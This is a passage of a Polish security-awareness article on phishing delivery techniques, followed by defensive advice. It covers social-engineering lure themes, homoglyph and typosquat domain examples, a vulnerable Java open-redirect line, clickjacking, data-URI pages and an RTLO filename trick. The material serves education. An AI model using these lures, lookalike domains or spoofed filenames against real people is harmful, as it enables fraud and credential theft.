&lt;p>(&lt;a href="https://www.spamlaws.com/spam-stats.html"target="_blank" rel="noopener">źródło&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>)
(&lt;a href="https://dataprot.net/statistics/spam-statistics/"target="_blank" rel="noopener">źródło&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>)&lt;/p>
&lt;h2>Jak dostarczyć phishing?&lt;span class="hx:absolute hx:-mt-20" id="jak-dostarczyć-phishing">&lt;/span>
&lt;a href="#jak-dostarczy%c4%87-phishing" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Istnieje wiele wektorów ataku, jakie mogą zostać przeciwko nam wykorzystane. Przestępcy będą starali się wykorzystać każdy z nich, byle tylko dostać to co chcą.&lt;/p>
&lt;p>&lt;strong>Wektor ataku&lt;/strong> – czynnik, który pozwala na zaatakowanie aplikacji bądź osoby – np. jeżeli atakujemy stronę internetową, to wektorem ataku może być źle skonfigurowany panel logowania (SQLi)&lt;/p>
&lt;p>Wśród tych najpopularniejszych wymienić można:&lt;/p>
&lt;ul>
&lt;li>homoglify&lt;/li>
&lt;li>typosquatting&lt;/li>
&lt;li>open redirect&lt;/li>
&lt;li>data URI&lt;/li>
&lt;li>clickjacking&lt;/li>
&lt;li>RTLO&lt;/li>
&lt;/ul>
&lt;p>Czasem jednak wystarczy stara dobra socjotechnika.&lt;/p>
&lt;h3>Socjotechnika&lt;span class="hx:absolute hx:-mt-20" id="socjotechnika">&lt;/span>
&lt;a href="#socjotechnika" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Phishing bardzo często wykorzystuje tą technikę, aby wywrzeć wpływ na odbiorcę. Korzysta z naturalnych odruchów oraz psychiki człowieka, formułując tak komunikat, aby wzbudzić skrajne emocje w grupie docelowej wiadomości. Dodatkowo nie pomagają idealnie sklonowane strony sklepów czy instytucji finansowych.&lt;/p>
&lt;figure>
&lt;a href="./dotpay.png" >&lt;img loading="lazy" src="./dotpay.png" alt="Phishing dotpay" >&lt;/a>
&lt;figcaption>Rozpoznałbyś/aś, że jest to phishing?&lt;/figcaption>
&lt;/figure>
&lt;p>Jakie motywy najczęściej wykorzystuje się w treści wiadomości phishingowych? Poniżej kilka przykładów – zastanów się jakie emocje mogą wywołać u odbiorcy:&lt;/p>
&lt;ul>
&lt;li>nastąpiło wiele prób nieudanego logowania się na twoje konto.&lt;/li>
&lt;li>twój bank zmienił zabezpieczenia online – ustaw je teraz!&lt;/li>
&lt;li>zalegasz z płatnością za kredyt, za podatki – opłać je jak najszybciej!&lt;/li>
&lt;li>dopłać do paczki, aby dotarła na czas.&lt;/li>
&lt;li>twoje konto jest zawieszone – kliknij, aby potwierdzić swoje konto.&lt;/li>
&lt;li>dostałeś zaproszenie do znajomych w mediach społecznościowych – kliknij aby je przyjąć.&lt;/li>
&lt;li>źródło newsów podsyła ci link do super sensacyjnego artykułu – pod linkiem zobacz dramaty polskiej wsi!&lt;/li>
&lt;li>Polski Czerwony Krzyż prosi o pomoc w walce z głodem na świecie – przekaż środki, aby wspomóc fundacje.&lt;/li>
&lt;/ul>
&lt;figure>
&lt;a href="./smishing.png" >&lt;img loading="lazy" src="./smishing.png" alt="smishing">&lt;/a>
&lt;figcaption>Nie tylko mailem przychodzą phishingi &lt;a href="https://kapitanhack.pl/2019/03/11/socjo/phishing-sms-dlaczego-jest-tak-skuteczny/">[Źródło]&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Każdy z tych powyższych podpunktów odwołuje się do różnych emocji. Dobrze skonstruowana socjotechnika najczęściej wzbudza w nas:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>chciwość&lt;/strong> – widzimy, że wygraliśmy telefon – chcemy go otrzymać.&lt;/li>
&lt;li>&lt;strong>strach&lt;/strong> – wskazywanie na złamanie zabezpieczeń na naszym koncie – zrób coś z tym, bo inaczej pieniądze przepadną!&lt;/li>
&lt;li>&lt;strong>szacunek do władzy&lt;/strong> – musimy przecież opłacić podatek, w końcu jesteśmy wzorowymi obywatelami.&lt;/li>
&lt;li>&lt;strong>chęć poznawania nowych ludzi i nawiązywania kontaktu&lt;/strong> – nasze zainteresowanie na temat tego kto nas zaprasza, może być zgubne.&lt;/li>
&lt;li>&lt;strong>ciekawość&lt;/strong> – o takim czymś nie słyszałem, warto to sprawdzić.&lt;/li>
&lt;li>&lt;strong>współczucie&lt;/strong> – biedni ludzie, którzy głodują – trzeba im pomóc!&lt;/li>
&lt;li>&lt;strong>niepewność&lt;/strong> – a co jeśli nie zweryfikuje tych nieudanych połączeń – konto mi przepadnie?&lt;/li>
&lt;li>&lt;strong>naiwność&lt;/strong> – są osoby, które mogą na ślepo wierzyć, że ktoś nieznajomy potrzebuje pomocy.&lt;/li>
&lt;li>&lt;strong>wyjątkowość&lt;/strong> – tylko ty jesteś w stanie wspomóc moje dziecko w walce z chorobą!&lt;/li>
&lt;li>&lt;strong>presja czasu&lt;/strong> - kliknięcie tu jest wymagane, w przeciwnym wypadku Twoje konto zostanie zablokowane w ciągu 2 dni!&lt;/li>
&lt;li>&lt;strong>brak wiedzy&lt;/strong> – są na świecie ludzi mniej technicznych, którzy nie są świadomi zagrożenia – nie wiedzą, że źli ludzie są w stanie ich okraść przez maila/internet.&lt;/li>
&lt;/ul>
&lt;p>Niemniej jednak można w dość prosty sposób rozpoznać próbę manipulacji w treści wiadomości, weryfikując czy zawiera:&lt;/p>
&lt;ul>
&lt;li>niekonkretne powitanie/pożegnanie – np. Witaj!, zamiast np. Droga Ewelino Ptak&lt;/li>
&lt;li>błędy gramatyczne, ortograficzne, interpunkcyjne.&lt;/li>
&lt;li>ponaglające zwroty – zrób coś szybko, zalecamy bez zwłoki…&lt;/li>
&lt;li>nieskładne zdania&lt;/li>
&lt;li>brak wskazania nadawcy&lt;/li>
&lt;li>błędy merytoryczne – np. numer zamówienia z tematu wiadomości nie zgadza się z treścią.&lt;/li>
&lt;li>podkreślanie wyjątkowości odbiorcy&lt;/li>
&lt;/ul>
&lt;figure>
&lt;a href="./trusted_bank.png" >&lt;img loading="lazy" src="./trusted_bank.png" alt="TrustedBank">&lt;/a>
&lt;figcaption>Co tu jest nie tak?&lt;/figcaption>
&lt;/figure>
&lt;p>Więcej informacji o samej socjotechnice oraz metodach wykrywania phishingu można odnaleźć w książce &lt;a href="https://helion.pl/ksiazki/mroczne-odmety-phishingu-nie-daj-sie-zlowic-christopher-hadnagy-michele-fincher-robin-dreeke,mrodph.htm#format/e"target="_blank" rel="noopener">„Mroczne Odmęty Phishingu”&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (Ch.Hadnagy and M.Fincher)&lt;/p>
&lt;h3>Homoglify&lt;span class="hx:absolute hx:-mt-20" id="homoglify">&lt;/span>
&lt;a href="#homoglify" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>&lt;strong>Homoglif&lt;/strong> – znak alfanumeryczny (litera lub cyfra; glif), którego kształt interpretowany może być na więcej niż jeden sposób, na przykład cyfra zero i wielka litera O.&lt;/p>
&lt;p>Jest to często spotykany sposób, w jaki przestępcy chcą podejść naszą czujność. Weźmy na przykład domenę &lt;code>facebook.com&lt;/code>. Każda z osób, która posiada profil w tym serwisie dostała conajmniej jednego maila z dowolną informacją - czy to potwierdzenie hasła, czy niewyłączone powiadomienie o osobach, które można poznać. Wykorzystując opisywaną tu metodę, można wytworzyć wiele adresów, które wyglądem będą do złudzenia przypominać oryginał:&lt;/p>
&lt;ul>
&lt;li>&lt;code>ｆаｃｅｂооｋ.com&lt;/code>&lt;/li>
&lt;li>&lt;code>ｆаｃeｂооｋ.com&lt;/code>&lt;/li>
&lt;li>&lt;code>ｆаcｅｂооｋ.com&lt;/code>&lt;/li>
&lt;li>&lt;code>ｆaｃｅｂооｋ.com&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Na podanych przykładach być może widać drobne różnice w odległościach między literami, ale gdy taki adres podany będzie drobną czcionką w mailu, to prawdopodobieństwo niezauważenia różnic drastycznie rośnie. I nie oszukujmy się - kto z nas regularnie bada odległości między znakami w adresach URL bądź sprawdza kod każdej litery. Tak właśnie działa ta metoda - litery alfabetu łacińskiego (najczęściej wykorzystywanego w domenach) podmieniane są na bardzo podobne znaki o innej wartości Unicode.&lt;/p>
&lt;figure>
&lt;img loading="lazy" src="./original_vs_typo.png" alt="Zestawienie kodów" style="width:20vw;">
&lt;figcaption>Zestawienie wartości Unicode każdego znaku z oryginału i domeny phishingowej.&lt;/figcaption>
&lt;/figure>
&lt;p>Biorąc pod uwagę, iż na świecie &lt;a href="https://www.statista.com/statistics/264810/number-of-monthly-active-facebook-users-worldwide/"target="_blank" rel="noopener">jest obecnie&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> 2.6 miliarda (stan na 1. kwartał 2020) aktywnych kont, to jest duża szansa na to, że atakujący trafi w kampanii mailingowej na kogoś, kto nie zauważy różnicy i kliknie w podanego linka.&lt;/p>
&lt;p>Innym dobrym przykładem jest akcja rosyjskiej grupy hakerów opisana na portalu &lt;a href="https://sekurak.pl/rosjanie-przejeli-%C9%A2oogle-com/"target="_blank" rel="noopener">sekurak.pl&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;p>Jak znaleźć odpowiednie litery, żeby stworzyć coś takiego? Jest to dziecinnie proste - cały proces opisany został &lt;a href="https://codebox.net/pages/homoglyph-detection"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;h3>Typosquatting&lt;span class="hx:absolute hx:-mt-20" id="typosquatting">&lt;/span>
&lt;a href="#typosquatting" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Technika ta, polega na wykorzystywaniu typowych błędów popełnianych przez użytkowników Internetu podczas wpisywania adresu w przeglądarce lub, jak to zwykle bywa w przypadku phishingu, nieuwagi.&lt;/p>
&lt;p>Przykładowe domeny podrabiające adres &lt;code>example.com&lt;/code>:&lt;/p>
&lt;ul>
&lt;li>&lt;code>examlpe.com&lt;/code>&lt;/li>
&lt;li>&lt;code>examplec.om&lt;/code>&lt;/li>
&lt;li>&lt;code>example.com.&amp;lt;ciąg znaków/domena atakującego&amp;gt;&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Idealnym przykładem z życia codziennego będzie tu strona polskiego portalu zajmującego się bezpieczeństwem komputerowym &lt;a href="https://niebezpiecznik.pl"target="_blank" rel="noopener">niebezpiecznik.pl&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Każdemu z nas zdarzają się pomyłki i to też wykorzystali twórcy wspomnianego serwisu, wykupując domenę &lt;a href="https://niebespiecznik.pl"target="_blank" rel="noopener">niebe&lt;strong>s&lt;/strong>piecznik.pl&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Odległość litery &lt;code>z&lt;/code> od &lt;code>s&lt;/code> na klawiaturze QWERTY i jednocześnie ludzka nieuwaga sprawiają, że jest to świetny materiał na stronę phishingową (którą nie jest, polecamy materiały Niebezpiecznika).&lt;/p>
&lt;figure class="align-centre">
&lt;img loading="lazy" src="./niebespiecznik.png" alt="Przykładowy typosquat" >
&lt;figcaption>Typosquating, który Cię nie okradnie.&lt;/figcaption>
&lt;/figure>
&lt;p>Nie wszystkie tak stworzone strony będą jednak służyć do edukacji. Zgodnie z informacją z portalu &lt;a href="https://domainnamewire.com/2011/08/23/google-wants-to-take-down-goggle-com-web-site/"target="_blank" rel="noopener">domainnamewire.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, od 2006 roku istniały domeny &lt;code>goggle.com&lt;/code>, &lt;code>goggle.net&lt;/code> oraz &lt;code>goggle.org&lt;/code>, na których przestępcy umieszczali swój złośliwy kod. Do dzisiaj (&lt;a href="https://malware.wikia.org/wiki/Goggle"target="_blank" rel="noopener">z przerwami&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>) strona pojawia się jako rozpowszechniająca szkodliwe oprogramowanie.&lt;/p>
&lt;h3>Open redirect&lt;span class="hx:absolute hx:-mt-20" id="open-redirect">&lt;/span>
&lt;a href="#open-redirect" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Podatność &lt;em>open redirect&lt;/em> polega na tym, że oprogramowanie stojące za stroną internetową nie weryfikuje adresów, na które dana strona przekierowuje. Objawia się to możliwością &amp;lsquo;podpięcia&amp;rsquo; swojej złośliwej domeny poprzez dowolny, podatny portal.&lt;/p>
&lt;p>Przykładowy kod w języku Java, umożliwiający zastosowanie &lt;em>open redirect&lt;/em>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-java" data-lang="java">&lt;span class="line">&lt;span class="cl">&lt;span class="n">response&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="na">sendRedirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="na">getParameter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;url&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>I jego wykorzystanie przekierowujące na &lt;code>example.com&lt;/code>:&lt;/p>
&lt;p>&lt;img src="./redirect.png" alt="redirect" loading="lazy" />&lt;/p>
&lt;p>W razie gdy otrzymamy na maila link do strony, na której istnieje taka podatność, a klient pocztowy nie wyświetli całości URL&amp;rsquo;a to możemy w niezauważony sposób zostać przekierowani na adres przestępcy. Często link docelowy będzie zobfuskowany, tak, aby użytkownik nie zauważył nic groźnego.&lt;/p>
&lt;p>&lt;strong>Obfuskacja&lt;/strong> - zaciemnianie kodu, często stosowane, aby zamaskować działanie programu i uczynić go trudniejszym do analizy.&lt;/p>
&lt;p>Świetne wykorzystanie takiej podatności opisane zostało w &lt;a href="https://sekurak.pl/blad-bezpieczenstwa-w-aplikacji-desktopowej-google-chat-czyli-jak-uczynic-open-redirect-znow-wielkim/"target="_blank" rel="noopener">jednym z wpisów&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> na portalu sekurak.pl.&lt;/p>
&lt;p>&lt;strong>Do poczytania&lt;/strong>: &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"target="_blank" rel="noopener">ściąga od OWASPu na temat braku walidacji przekierowań&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;h3>Clickjacking&lt;span class="hx:absolute hx:-mt-20" id="clickjacking">&lt;/span>
&lt;a href="#clickjacking" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Każdemu się pewnie zdarzyło choć raz w życiu wejść na stronę o treści np. &amp;ldquo;Wygraj iPhone X&amp;rdquo;. Niewprawiony w świat internetu użytkownik klika przycisk &amp;ldquo;Wygraj&amp;rdquo; i&amp;hellip;właśnie wysłaliście wszystkim znajomym z Twittera&amp;rsquo;a złośliwy link. Jak to się dzieje?&lt;/p>
&lt;p>Nad przyciskiem &lt;code>Wygraj&lt;/code> stworzony został niewidoczny obiekt &lt;code>iframe&lt;/code>, a w nim inny przycisk, na przykład powodujący wrzucenie Tweet&amp;rsquo;a przy pomocy konta użytkownika zalogowanego w tej samej przeglądarce. Jest to prawdziwa sytuacja i została opisana &lt;a href="http://shiflett.org/blog/2009/twitter-dont-click-exploit"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/iframe"target="_blank" rel="noopener">&lt;strong>iframe&lt;/strong>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> - element języka HTML, umożliwiający zawieranie dokumentu HTML wewnątrz innego dokumentu HTML.&lt;/p>
&lt;p>Clickjacking przetestować można na własnej skórze &lt;a href="https://javascript.info/clickjacking"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Oczywiście jest to duże uproszczenie, ale pokazuje, że dzięki tej metodzie można zrobić praktycznie wszystko.&lt;/p>
&lt;h3>Data URI&lt;span class="hx:absolute hx:-mt-20" id="data-uri">&lt;/span>
&lt;a href="#data-uri" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>&lt;strong>URI&lt;/strong> - standard internetowy umożliwiającym łatwą identyfikację zasobów w sieci. Podzbiorem URI jest URL, czyli np. &lt;a href="http://example.com"target="_blank" rel="noopener">http://example.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-centre">
&lt;img loading="lazy" src="./URI_syntax_diagram.svg" alt="Budowa URI" >
&lt;figcaption>Budowa URI.&lt;/figcaption>
&lt;/figure>
&lt;p>Interesującą nas w tym przypadku formę zapisać można w następujący sposób:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>data:[&amp;lt;mime type&amp;gt;][;charset],&amp;lt;data&amp;gt;&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;ul>
&lt;li>&lt;code>MIME type&lt;/code> to dowolny typ zawartości np. &lt;code>text/html&lt;/code> lub &lt;code>image/jpeg&lt;/code>&lt;/li>
&lt;li>&lt;code>charset&lt;/code> to sposób, w jaki kodowana jest informacja np. &lt;code>base64&lt;/code> lub &lt;code>utf-8&lt;/code>.&lt;/li>
&lt;li>&lt;code>data&lt;/code> to dane zakodowane w sposób podany w polu &lt;code>charset&lt;/code>.&lt;/li>
&lt;/ul>
&lt;p>W taki sposób wygenerowany został na tej stronie poniższy obrazek:&lt;/p>
&lt;figure class="align-centre">
&lt;img loading="lazy" src="" alt="obrazek wygenrowany za pomocą URI-schema" >
&lt;figcaption>data:image/png;base64,iV.....==&lt;/figcaption>
&lt;/figure>
&lt;p>I w identyczny sposób możesz sprawić, że zawartość tej strony zniknie:&lt;/p>
&lt;button class=".btn .btn--primary .btn--small" onclick="fun()">
Wypróbuj!
&lt;/button>
&lt;p>Tak oto możemy dostarczyć ofierze dowolną stronę internetową bądź skrypt (w postaci typu &lt;code>text/html&lt;/code>) i zaatakować.&lt;/p>
&lt;h3>RTLO&lt;span class="hx:absolute hx:-mt-20" id="rtlo">&lt;/span>
&lt;a href="#rtlo" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>W tej technice wykorzystywany jest znak unicode &lt;code>U+202E&lt;/code> (RIGHT-TO-LEFT OVERRIDE). Został on dodany do unicode w 1993 roku i wykorzystywany jest np. przy językach czytanych od lewej do prawej (hebrew, arabski).&lt;/p>
&lt;p>W ramach &lt;a href="https://whitehats.pwr.edu.pl/kurs-pentestera/">Kursu Pentestera&lt;/a> opowiadamy, jak można wykorzystać to do tworzenia plików wykonywalnych. W skrócie: plik o nazwie &lt;code>verygoodfil\u202Efdp.exe&lt;/code> wyświetlany będzie jako &lt;code>verygoodfilexe.pdf&lt;/code>. Tą technikę wykorzystać można do przesłania ofierze spreparowanego skryptu, który po &amp;ldquo;otwarciu&amp;rdquo; wykona określone czynności na maszynie docelowej.&lt;/p>
&lt;h2>Jak się przed tym wszystkim bronić?&lt;span class="hx:absolute hx:-mt-20" id="jak-się-przed-tym-wszystkim-bronić">&lt;/span>
&lt;a href="#jak-si%c4%99-przed-tym-wszystkim-broni%c4%87" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Przedstawione przez nas metody to nie jest cały arsenał cyberprzestępców. Skutkom phishingu można jednak zapobiec stosując parę uniwersalnych zasad.&lt;/p>
&lt;ol>
&lt;li>Nie klikaj w linki znajdujące się w wiadomościach (email, SMS).&lt;/li>
&lt;/ol>
&lt;p>Przed udaniem się pod otrzymany adres, najedź na niego myszką i zobacz na co zostaniesz przekierowany. W przypadku gdy jesteś na telefonie, możesz go skopiować, wkleić do notatnika (np. Google Keep) i zobaczyć jak naprawdę wygląda.&lt;/p>
&lt;ol start="2">
&lt;li>Nie uruchamiaj programów otrzymanych z nieznanych adresów.&lt;/li>
&lt;/ol>
&lt;p>Działając na Windowsie, lampka powinna się zaświecić np. przy plikach które w nazwie mają &lt;code>exe&lt;/code> lub &lt;code>tab&lt;/code> (patrz: &lt;a href="#rtlo">RTLO&lt;/a>). Świetny przykład analizy pliku otrzymanego w mailu phishingowym można znaleźć we &lt;a href="https://zaufanatrzeciastrona.pl/post/analiza-zlosliwego-kodu-dla-amatorow-na-swiezym-przykladzie/"target="_blank" rel="noopener">wpisie&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> od Zaufanej Trzeciej Strony&lt;/p>
&lt;ol>
&lt;li>Aktualizuj przeglądarkę, z której korzystasz.&lt;/li>
&lt;/ol>
&lt;p>Najnowsze przeglądarki bardzo skutecznie radzą sobie z popularnymi phishingami&lt;/p>
&lt;ol start="4">
&lt;li>Nigdy nie wysyłaj poufnych informacji mailem.&lt;/li>
&lt;/ol>
&lt;p>Jeśli już musisz, to koniecznie zastosuj szyfrowanie. Poczytać o tym można &lt;a href="https://support.google.com/mail/answer/6330403?hl=pl"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i &lt;a href="https://sekurak.pl/szyfrowanie-poczty-w-outlook/"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;ol>
&lt;li>Uważaj na pop-upy.&lt;/li>
&lt;/ol>
